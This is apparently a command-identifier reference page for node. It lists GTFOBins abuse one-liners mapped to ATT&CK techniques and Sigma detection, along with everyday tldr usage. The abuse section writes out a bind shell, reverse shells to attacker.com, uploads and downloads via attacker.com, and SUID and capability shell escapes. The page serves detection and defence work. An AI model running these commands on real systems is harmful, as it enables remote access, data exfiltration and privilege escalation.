Ceplin Command Identifier

Identifier / Programs / Linux and Unix

node

Server-side JavaScript platform (Node.js). tldr-pages

GTFOBins bind-shell, download, file-read, file-write, reverse-shell, shell, upload 1 Sigma rule name it 2 ATT&CK techniques 7 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How node is abused

documented by GTFOBins

bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

download T1105 Ingress Tool Transfer

-e

file-read

-e

file-write

-e

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

upload

-e

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for node.

7 documented commands

from GTFOBins, each read by the identifier

bind-shell unprivileged, with sudo, as SUID

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'
Identify

As SUID:

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

download unprivileged, with sudo, as SUID

node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
Identify

file-read unprivileged, with sudo, as SUID

node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
Identify

file-write unprivileged, with sudo, as SUID

node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
Identify

reverse-shell unprivileged, with sudo, as SUID

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'
Identify

As SUID:

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

shell unprivileged, with sudo, as SUID, with capabilities

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
Identify

As SUID:

node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'

With capabilities:

node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

upload unprivileged, with sudo, as SUID

node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
Identify

None of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for node. The identifier reads the line of each that runs node.

What detects it

Sigma process creation rules
highShai-Hulud 2.0 Malicious NPM Package Installation - LinuxSwachchhanda Shrawan Poudel (Nextron Systems)
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Run a JavaScript file

node path/to/fileIdentify

Start a REPL (interactive shell)

Execute the specified file restarting the process when an imported file is changed (requires Node.js version 18.11+)

node --watch path/to/fileIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.